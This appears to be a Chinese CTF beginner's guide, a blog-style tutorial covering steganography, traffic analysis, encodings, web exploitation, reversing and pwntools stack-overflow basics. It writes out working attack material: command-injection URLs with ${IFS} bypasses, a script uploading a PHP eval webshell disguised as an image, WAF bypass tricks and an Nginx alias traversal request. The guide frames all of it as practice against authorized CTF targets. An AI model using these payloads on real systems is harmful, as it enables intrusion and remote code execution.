简介：面向CTF初学者与备赛选手的题型与解题思路梳理文档，整合Web、密码学、逆向、PWN、杂项五类常见赛题。Web安全部分讲解基础爆破、SQL注入与盲注、XSS、命令注入、文件上传绕过、文件包含及代码审计，涵盖联合查询、报错注入、布尔盲注、WAF绕过等常用手法，并整理Burp Suite、菜刀、Python脚本等工具；密码学部分覆盖ASCII、摩尔斯、Base64、猪圈密码、非对称加密RSA等；逆向涉及脱壳反编译与动态调试；PWN侧重栈溢出、格式化字符串与条件竞争；MISC涵盖隐写、流量与日志分析。资源为docx格式，共1个文件，压缩包约18KB，体积小巧适合随时翻阅；文档按题型分节、条理清晰，便于逐模块查阅。已有2060人学习/下载，可作为赛前速查手册，也能帮助初学者系统梳理CTF各类赛题的常见套路与解题要点，适合个人自学或备赛团队内部分享。
1. CTF 打不出 flag，是你还没把题型当成信息差攻防
CTF 入门的第一道坎，不是不会写代码，而是面对一道题不知道它在考什么。同样是给一张图片，有人三分钟在 EXIF 里翻到 flag，有人对着十六进制发了半小时呆。这篇笔记把 CTF 常见题型按 Misc、密码学、Web、逆向与 Pwn 四条线拆开，从最小可复现的解题步骤讲到最容易丢分的边界条件。适合正在为 ctf 入门找路、想冲数据安全赛真题、或者卡在 ctf web 解题找 flag 夺旗赛的选手。我们不讨论脑洞，只讨论那些能靠工具、命令和调试器稳定拿分的题型。
2. Misc 与密码学：从签到题到数据安全赛真题的拿分顺序
2.1 为什么 Misc 是新手性价比最高的入口
CTF 比赛里 Misc（杂项）经常被当成签到区，但它其实是单位时间产出最高的模块。原因有三：第一，它不依赖某一种编程语言，只要会用 Linux 命令行和几款固定工具就能持续推进；第二，考点非常稳定，文件隐写、流量包分析、压缩包伪加密、图片属性信息，翻来覆去就是那十几个套路；第三，它和数据安全赛真题的关系最近，数据泄露场景里的大量工作就是抓包、还原文件、识别敏感信息，和 Misc 的流量分析本质上是一种技能。
我见过不少队伍靠着 Misc 和密码学在前两个小时拿下五六个 flag，Web 却一道都没碰。这不是因为他们技术强，而是因为他们知道每个题型对应的工具链是固定的：见图片先 strings，见 pcap 先看 HTTP，见密文先判断编码类型。这种“套路化”的思考方式，恰恰是 CTF 第一阶段最需要建立的。别急着觉得自己只会签到题，杂项签到题和数据安全赛真题之间的距离，远比你想象的小。
2.2 文件隐写与流量分析的最小操作流
拿到一道杂项题，第一步永远是确认文件真实类型。很多题目会在文件头部动手脚，把 zip 改成图片后缀，或者往图片末尾追加一段压缩包。下面这组命令是我每次开题都会先跑的：
# 先确认文件真实类型，后缀经常是假的 file strange.png # 再检查文件尾部有没有附加内容，十六进制一眼就能看见 tail -c 64 strange.png | xxd # binwalk -e 会把隐藏在图片里的 zip、rar 或其他文件抽出来 binwalk -e strange.png # strings 找可打印字符串，-n 8 过滤掉太短的噪音 strings -n 8 strange.png | grep -iE 'flag|ctf\{|key'逻辑说明：file命令通过文件头的魔数判断类型，所以把 PNG 改成 JPG 后缀也会被识破，看到 "PNG image data" 就说明题目的后缀可能是干扰项。tail -c 64加xxd是为了直接观察文件末尾的十六进制，如果出现PK开头（zip 文件的魔数），说明图片后面附着了一个压缩包。binwalk -e按已知文件签名去扫描整块数据，并且把识别到的内容自动抽出来，比手工 dd 切割省事得多。strings -n 8只输出长度不低于 8 的连续可打印字符，能滤掉大部分二进制噪音；配合grep -iE忽略大小写查 flag 关键词，是找明文 flag 的最快路径。
文件隐写之后，下一类高频题是流量分析。比赛给的 pcap 一般不会太大，但里面会混着大量无关请求，先做协议统计再过滤，效率完全不同：
# 打开包先看协议统计，快速定位可疑流量 tshark -r capture.pcap -q -z io,phs # 提取 HTTP 请求的域名和路径，很多 flag 藏在请求头或表单里 tshark -r capture.pcap -Y http -T fields -e http.host -e http.request.uri参数说明：-q表示不逐包打印、只输出统计结果，-z io,phs是打印协议分层统计；如果看到 DNS 请求异常多，多半是 DNS 隧道题；如果 HTTP 请求里有上传文件或eval关键字，优先跟进。-Y http是显示过滤器，-T fields指定输出哪些字段。实际做题时我更习惯用 Wireshark 打开后右键 “Follow TCP Stream”，因为很多 flag 会被拆在多个 TCP 分片里，tshark 只显示字段反而容易漏掉完整内容。
2.3 CTF 密码学题型：编码识别与古典密码参数
CTF 密码学题分两类：一类是编码识别，另一类是古典密码。很多新手拿到一串字符就急着找解密网站，其实先看字符集就能省掉一半时间。下面这张表是我自己整理的快速判断表：
| 密文特征 | 大概率是 | 首选处理方式 |
|---|---|---|
| 只有 A-Za-z0-9+/，长度是 4 的倍数 | Base64 家族 | base64 -d |
| 只有 0 和 1，长度是 7 或 8 的倍数 | 二进制转 ASCII | Python 按 8 位切分 |
| 全是 00-FF 范围的十六进制字节 | 十六进制转文件 | xxd -r -p |
| 字母频率明显偏移，有可读短词 | 凯撒移位 | 逐位移位尝试 |
| 多个字母组合出现规律重复 | 维吉尼亚或栅栏 | 先算 Index of Coincidence |
遇到判断不了的字符串，我一般会先跑一段简单的 Python 脚本，把字符集、长度、频率分布一次打出来：
import base64, collections s = open("cipher.txt", "r").read().strip() # 统计密文用到了哪些字符 chars = set(s) # 如果字符集是典型的 base64 字母表，优先尝试 base64 解码 base64_chars = set("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=") if chars <= base64_chars and len(s) % 4 == 0: try: decoded = base64.b64decode(s) print("疑似 base64 前 64 字节:", decoded[:64]) except Exception as e: print("base64 解码失败:", e) # 统计字母频率，凯撒和维吉尼亚都依赖频率特征 freq = collections.Counter(s.lower()) print("出现最多的 5 个字符:", freq.most_common(5))逻辑说明：大多数 CTF “密码题”其实是编码题，先判断字符集能避免在错误方向上浪费时间。脚本先检查是否只包含 base64 字母表，同时满足长度能被 4 整除，就尝试解码；如果解出来的内容依然是乱码，可能做了二次编码，就把解码结果继续丢回识别流程。频率统计部分对凯撒移位很有效，因为替换密码不会改变字母频率分布，出现频率最高的字符大概率对应明文里的e或空格。参数说明：strip()必须加，否则密文末尾的换行会让len(s) % 4判断失效。
2.4 拿分顺序与时间分配建议
一场常规 CTF 三到四小时，我的建议是前 30 分钟清掉所有 Misc 签到和简单密码题，再花 40 分钟在 Web 的易拿分题型上，最后剩下的时间才碰逆向和 Pwn。原因很现实：Misc 和密码学是“有工具就能做”，而 Web 题目经常需要读源码和试错，逆向题更可能一坐就是一小时还出不来。
数据安全赛真题里常见的流量分析和敏感数据识别，本质就是 Misc 的延伸：题目给你一个包含恶意请求的 pcap 或日志，让你还原被窃取的数据内容。这类题的 flag 往往就藏在还原出的文件里，和图片隐写完全同构。练 ctf 技能树 web 的时候，也别只刷题目，把每题涉及的命令行技巧记在一个文件里，数据安全赛和日常排查都能复用。我的习惯是每做一类题就固定记录“入口命令 + 必查路径 + 曾经踩过的坑”，之后遇到同类题直接按清单走。
3. Web 解题找 flag：命令执行、文件上传与 Git 泄露
3.1 命令执行（RCE）题型的常见入口与 passthru 特征
Web 题里最容易出分的类型之一就是命令执行。它通常藏在 Ping 检测、日志查看、在线转换工具这类表面功能后面，后端把用户输入直接拼进系统命令。CTF 题目大量使用passthru而不是system，是因为passthru会把外部程序的原始输出直接送回 HTTP 响应，非常适合做有回显的探测。一个典型的漏洞代码如下：
<?php // 典型命题：把用户输入直接拼接进系统命令 $ip = $_GET['ip']; $cmd = "ping -c 2 " . $ip; passthru($cmd); ?>逻辑说明：题目一般会在参数名或代码注释里暗示“这里是 ping 功能”。当我看到参数是ip时，第一反应不是先去访问它，而是构造一个能断开原命令语义的输入。passthru($cmd)没有经过任何过滤，意味着我传入的分号、管道符都会被 shell 解释，这是整道题的核心漏洞点。
拿到这类入口后，后续探测命令是这样：
# 无过滤时直接用分号拼接，把 flag 内容带回 curl 'http://target/exec.php?ip=127.0.0.1;cat /flag' # 如果分号和空格被过滤，用管道符和 ${IFS} 代替空格 curl 'http://target/exec.php?ip=127.0.0.1|cat${IFS}/flag'参数说明：第一条命令里的;表示“不管前面成功与否，都继续执行后面的命令”；第二条里的|是把前一个命令的输出作为后一个命令的输入，即使ping报错，cat也会被执行。${IFS}在 Linux 下默认是空格、Tab、换行的组合，用它代替空格可以绕过最简单的“删除空格”过滤。如果cat也被过滤，就尝试tac、more、less，或者用base64 /flag把内容编码后带回再解码。
3.2 文件上传考法：一句话木马到过滤绕过
文件上传题考的不是怎么传一个文件，而是怎么让服务器把你上传的文件当作可执行代码。这类题的过滤方式从弱到强大概有五个层次，对应的绕过思路也完全不同：
| 过滤方式 | 绕过思路 |
|---|---|
| 前端 JS 限制扩展名 | 直接用 curl 或 Burp 发请求，不经过页面 |
| 只校验 MIME 类型 | 抓包把Content-Type改成image/jpeg |
| 扩展名黑名单 | 尝试.php3、.phtml、.php5等旧式可解析扩展名 |
| 白名单只允许图片后缀 | 图片马配合解析漏洞，或者找文件包含点 |
| 上传目录不可执行 | 找同目录下的.htaccess或user.ini改写配置 |
一个很实用的测试脚本是这样：
import requests url = "http://target/upload.php" # 注意文件名后缀用 php3，Content-Type 伪装成图片 files = { "file": ("shell.php3", "<?php @eval($_POST['x']);?>", "image/jpeg") } data = {"submit": "upload"} resp = requests.post(url, files=files, data=data) print(resp.text) # 上传后尝试三个常见路径：原始路径、重命名路径、时间戳路径 for path in ["uploads/shell.php3", "upload/shell.php3", "shell.php3"]: r = requests.get(url.replace("upload.php", path), params={"x": "system('id');"}) print(path, r.status_code, r.text[:200])逻辑说明：脚本的核心是“先上传再探测路径”。files字典的第二个元素是文件内容，我把一句话木马直接写在里面；第三个元组是 MIME 类型，用来绕过只查Content-Type的服务端校验。requests.post会自动构造 multipart 表单，比手动 curl 更接近浏览器上传行为。参数说明：url.replace("upload.php", path)只是快速拼接候选路径，实际做题时建议用靶机返回的上传路径为准，别猜。
这里的重点是：一句话木马是 CTF 授权靶场的标准测试载荷，写入eval($_POST['x'])只是证明“代码被执行”，最后一定要清理现场。真实系统上的恶意上传属于犯罪，不在本文讨论范围。
3.3 Git 泄露与源码审计：把黑匣子变成白盒
Git 泄露是 Web 题里一类特别适合新手的题型。原理很简单：开发者把.git目录直接部署到了 web 目录下，访问者就能通过静态文件请求把整个仓库拉下来。拿到仓库后，flag 通常藏在历史提交里，因为出题人先提交了带 flag 的源码，再把它删掉，只留下工作区里的干净版本。
核心操作就这几条：
# 拿到 .git 目录后，先看所有分支与提交历史 git log --all --oneline # flag 在某个历史提交里被删除，直接查看该提交中的文件 git show 3f9c2a1:flag.txt # 如果目标对象成为悬空对象，用 fsck 找回 git fsck --lost-found find .git/lost-found -type f -exec cat {} \;逻辑说明：git log --all --oneline能列出所有分支的提交，而默认的git log只看当前分支，很容易漏掉藏在别的分支里的删改记录。git show <commit>:<path>是查看指定提交中某个文件内容的标准姿势，不需要切换分支。git fsck --lost-found用于找回没有被任何分支引用的提交对象，这类悬空对象在题目里经常是“删掉的 flag”本体。参数说明：-exec cat {} \;会把 find 找到的每个文件内容依次打印出来，注意结尾的分号要转义。
实际打题时如果git clone失败，是因为服务器没有启用 git 的智能 HTTP 协议，但静态文件仍然可读。这时候需要改用逐个请求.git/objects/xx/xxxxxx的方式下载对象，GitHack 这类开源工具干的就是这件事。下载完成后在本地执行git fsck恢复文件，思路和上面完全一致。
3.4 常见 WAF 绕过与边界
命令执行和上传题一旦加了过滤，就要学会看过滤规则到底挡了什么。常见技巧包括：大小写混写、用%0a换行代替分号、用$@或者$*插入空参数、把敏感词拆成两个字符串再拼接。但绕过不是无限的，遇到过滤特别严的题目，老老实实找其他入口比硬刚更划算。
另外要留意一类题：ctf nginx 安全加固。这类题表面是“加固题”，实际给的是一个配置不当的 Nginx。比如location /files { alias /var/www/; }这种写法，如果请求/files../flag，alias 拼接路径时会产生目录穿越。这类题的 flag 往往不需要打进应用，只需要把静态配置的边界条件吃透。我一般会先看nginx -T的配置，再逐个测试 location 前缀和 alias 的拼接行为，比盲目扫描目录有效得多。
4. 逆向入门到 Pwn：最小可用调试路径和参数边界
4.1 逆向入门：静态分析工具选型
逆向题让很多人望而却步，其实第一阶段的工具链非常固定。面对一个未知的二进制，先做静态分析再上动态调试，是效率和成功率最高的路径。工具选型我建议按这个表来：
| 工具 | 使用场景 |
|---|---|
file/strings/objdump | 快速判断架构和提取可打印字符串 |
| Ghidra | 免费反编译，适合分析大型逻辑 |
| IDA Free | 交互式反汇编体验好，窗口操作顺滑 |
| radare2 | 命令行反汇编，适合脚本化批处理 |
| GDB | 动态调试，看内存和寄存器 |
最常用的快速静态姿势是这两条：
# 快速定位可疑字符串，题目经常把提示藏在错误信息里 strings -n 5 challenge | grep -E 'flag|key|password' # 查看 main 函数的反汇编，熟悉 ELF 文件的基本结构 objdump -d -M intel challenge | grep '<main>'逻辑说明：strings会从二进制里提取连续的可见字符，很多入门逆向题的 flag 其实没被加密，只是被藏在某个资源段里。objdump -d是反汇编所有代码段并输出为 Intel 语法，grep '<main>'定位到入口附近。参数说明：-M intel指定 Intel 语法比 AT&T 语法更适合新手阅读，<main>带尖括号是因为函数符号在反汇编输出里就是这么标注的。
当题目加了异或加密，静态读代码就变得费劲。异或的特点是同一个密钥作用两次就还原，而 flag 一般有固定格式，所以可以用已知明文反推密钥：
# 单字节异或是逆向题里最常见的基础加密 cipher = open("enc.bin", "rb").read() # 已知 flag 以 b"flag{" 开头，通过前 5 字节反推密钥 key = cipher[0] ^ ord("f") print("推断出的单字节密钥:", hex(key)) # 用相同密钥逐字节异或恢复全文 plain = bytes([b ^ key for b in cipher]) print(plain)逻辑说明：异或运算满足交换律和结合律，已知密文第一个字节和对应明文第一个字节，就能算出密钥；拿到密钥后对每个密文字节再异或一次就得到全文。参数说明：cipher[0] ^ ord("f")这一步依赖 flag 格式固定这一前提，如果题目用的不是flag{}而是ctf{}，就把ord("f")改成ord("c")，所以做题前先确认题目约定的 flag 头。
4.2 动态调试与反调试对抗
静态分析看不清楚的时候，动态调试能把黑匣子打开。GDB 是绕不开的工具，调试一个程序的最小流程是：
gdb ./challenge # 在 main 函数入口下断点 b main # 运行程序，停在断点处 run # 查看栈顶 16 个字节，确认输入在内存里的位置 x/16bx $rsp # 单步执行若干条指令，观察寄存器变化 si 20逻辑说明：b main是下断点，run启动程序；x/16bx $rsp是查看从栈指针开始的 16 个字节，si是单步执行一条机器指令。大部分入门逆向题的逻辑都是从输入读入、调用strcmp比较、根据结果跳转。我经常用gdb在strcmp上打断点，然后直接读寄存器里的两个字符串地址，就能拿到比较的“正确密钥”。
入门题中检测调式器的方式一般是ptrace：程序被调试时ptrace会返回失败，由此程序判断自己处于被调试状态并退出。对付这个的办法很多，最简单的是在 GDB 里通过catch syscall拦截 ptrace 调用后改掉返回值。这是本地演练习题的标准手法，不要用于任何真实系统。
4.3 Pwn 题的核心概念：栈溢出到 ROP
Pwn 题的核心是把输入写到栈上，再想办法控制返回地址。入门阶段最典型的是栈溢出未开启 canary 的题目，流程可以完全模板化：先算偏移，再控制返回地址，最后跳到已有函数或 gadget。
在 pwntools 环境下，第一步是算偏移：
from pwn import * # 启动本地题目进程，传入待测试的 payload io = process("./pwn") # cyclic 生成 200 字节非重复的确定性字符串 payload = cyclic(200) io.sendline(payload) io.wait() # 程序崩溃后，从 core dump 里读出崩溃时的 rip 值 core = io.corefile crash_value = core.rip # 用 cyclic_find 反查这个值出现在偏移多少的位置 offset = cyclic_find(crash_value) log.info("栈溢出偏移: %d", offset) # 得到偏移后，构造 ret2win 或 ret2libc payload # payload = b"A" * offset + p64(win_addr) + p64(0)逻辑说明：cyclic生成的是有序的、每个 4 字节片段都不同的模式串。程序因为溢出让返回地址被覆盖成模式串中的某一段，崩溃时rip的值一定来自这个模式串，cyclic_find通过反查就能算出覆盖到返回地址需要多少字节。参数说明：process("./pwn")是本地加载，sendline会在末尾自动加换行，这些细节决定偏移计算是否准确。拿到偏移后，把返回地址改成题目里已经存在的后门函数地址，就是最简单的 ret2win。后续进阶会涉及 ROP 链，目标是绕过 NX，让程序按你布置的 gadget 顺序执行，但偏移计算这一步永远是地基。
4.4 如何安全地在本地搭一个调试环境
逆向和 Pwn 题经常要运行来历不明的二进制，最安全的办法是用 Docker 隔离，而不是直接在宿主机上跑。我的固定起手式是：
# 把当前目录挂载进容器，题目文件在 /ctf 下可见 docker run -it --rm -v "$PWD":/ctf ubuntu:22.04 bash # 容器内安装调试工具链 apt-get update apt-get install -y gdb python3 python3-pip binutils pip3 install pwntools逻辑说明：-v "$PWD":/ctf使宿主机当前目录和容器/ctf同步，题目文件不用反复拷贝。--rm表示退出容器就删除容器本身，避免残留。pip3 install pwntools装的是 pwntools 的 Python 3 版本，如果题目要求 32 位环境，就用ubuntu:i386镜像或者加dpkg --add-architecture i386，后一种方式依赖更多，容器方案更省心。参数说明：Ubuntu 22.04 镜像自带 Python 3，gdb 版本也在 12 以上，和 pwntools 兼容性很好；如果遇到内核相关功能缺失，可以用--cap-add=SYS_PTRACE额外授权调试能力。
5. 避坑：CTF 实战里最容易翻车的 5 类问题
5.1 现象：flag 格式对但提交不了
有一次本地验证明明解出了flag{Th1s_1s_R3al}，提交到平台却一直判错，直到比赛结束才发现是网页自动把_渲染成了空格。这类问题很常见，原因有三：flag 里包含下划线、引号等特殊字符；从终端复制时带上了换行；平台要求的格式是ctf{}而题目输出是flag{}。
解决方法是提交前先做一次“干净化”。用cat flag | xxd | tail -n 5查看文件末尾有没有多余字节，再用tr -d '\r\n'去掉换行，最后肉眼检查_、-、.这些容易混淆的字符。我还会在本地用echo -n 'flag{...}' | wc -c和平台提示的 flag 长度比对，长度不一致基本就是复制粘贴出了问题。
5.2 现象：Nginx 加固题做了还是被拿 flag
这类题我翻过车：修好了 PHP 的注入点，又删了可疑的上传文件，但扫描器还是报出/flag可读。原因是 Nginx 配置存在目录穿越：location /files { alias /var/www/; }这样写，请求/files../flag时 Nginx 会拼接出/var/www/../flag，直接把根目录下的文件暴露出来。
解决方法是先跑nginx -t确认配置语法，再逐个检查所有 location 和 alias 的组合。alias路径末尾的斜杠必须和 location 精确匹配，否则就存在穿越风险。正确写法是把alias改成root或使用^~限制前缀，并且给/flag这类敏感文件加明确的 deny 规则。加固题最怕“只修应用不修中间件”，检查完 Nginx 还要顺带看一眼有没有.bak、default.conf这类备份文件，它们经常是破口。
5.3 现象：Misc 文件解出乱码
用 binwalk 从图片里抽出一个 zip，解开后cat出来是锟斤拷这类乱码。这不是解压失败，而是没判断文件真实编码。我遇到的乱码有两种：一是 zip 文件是伪加密，zipinfo -v能看到加密位被篡改过，用 010 Editor 把加密位改回 00 就能无密码解开；二是解出来的文本是 UTF-16 或 GBK，终端默认按 UTF-8 显示，自然乱码。
解决方法是先file看解出文件的类型，再用iconv -f UTF-16 -t UTF-8转码。伪加密的判别尤为关键，如果压缩包的解压密码解不出来，十有八九是伪加密，而不是真的需要爆破。可以把打开 zip 时提示的“需要密码”和zipinfo -v里每个加密文件的 flag 字段对比，有多个文件而只有部分被标记加密时，基本就是伪加密。
5.4 现象：Git 泄露的仓库拉不下来
git clone http://target/.git/报错，于是以为题目不存在泄露。其实服务器可能只允许静态文件下载，没有开启 git 的 upload-pack，所以直接 clone 必然失败。正确思路是手动抓取.git的关键对象文件。
我一般先用 requests 访问.git/HEAD和.git/refs/heads/master确定分支指针，再根据 index 文件里的文件列表逐个请求.git/objects/xx/xxxxxx。GitHack 这类工具做的就是同一件事，专治 clone 失败。下载完所有对象后，在本地仓库里执行git fsck --lost-found和git log --all --oneline，被删除的 flag 文件通常就在悬空对象或历史提交里。
5.5 现象：环境起不来 / 工具版本冲突
本地是 64 位 Kali，题目却是 32 位 Pwn 题，装libc6-i386时和现有包冲突；或者本机 pwntools 版本过旧，线段cyclic_find的行为都不一样。这类环境问题在比赛中最浪费时间。
解决方法是把整个调试环境固定在 Docker 里，镜像直接选ubuntu:22.04，需要 32 位就选i386镜像；pwntools 用虚拟环境安装并锁版本。我的习惯是平时就保留一个专门做 32 位任务的镜像，比赛时直接 run，不在本机折腾依赖。环境问题值得提前花半小时准备，因为临场踩中一次就是半小时起步。
6. 把 CTF 经验固化成自己的工具箱：命名、记录与回归验证
经验如果只存在脑子里，下次遇到同类题型照样会手忙脚乱。我的做法是每场练习都建一个固定结构的目录：01_misc/、02_crypto/、03_web/、04_rev/、05_pwn/，每个目录下再放src/（题目原始文件）、exp/（解题脚本）、writeup.md（三行记录：题型、入口、最终 payload）。命名规则统一是“日期_题目名_关键手法”，比如20250112_git_extract_fsck，这样检索时一眼就能定位。
验证方法上，我会把容易遗忘的命令组合写成可复用的脚本，比如extract.sh负责从图片里抽文件，solve_xor.py负责单字节异或。每次拿到新题先跑自己的脚本库，能复用就别重写。赛后复盘才是真正涨分的环节，我要求自己每道题写满三件事：卡在哪一步、靠什么信息突破、下次怎么更快。这比多刷十道题都有效。
我自己的教训是：曾经因为没记录 flag 的提交格式，在数据安全赛真题里白白浪费二十分钟核对大小写；后来每一场开始前先把flag{}的格式写进 writeup 模板第一行，再也没犯过同样的错。搭建工具箱这件事，半小时投入能换来一整年比赛时间的稳定输出，希望帮到你。
本文还有配套的精品资源，点击获取
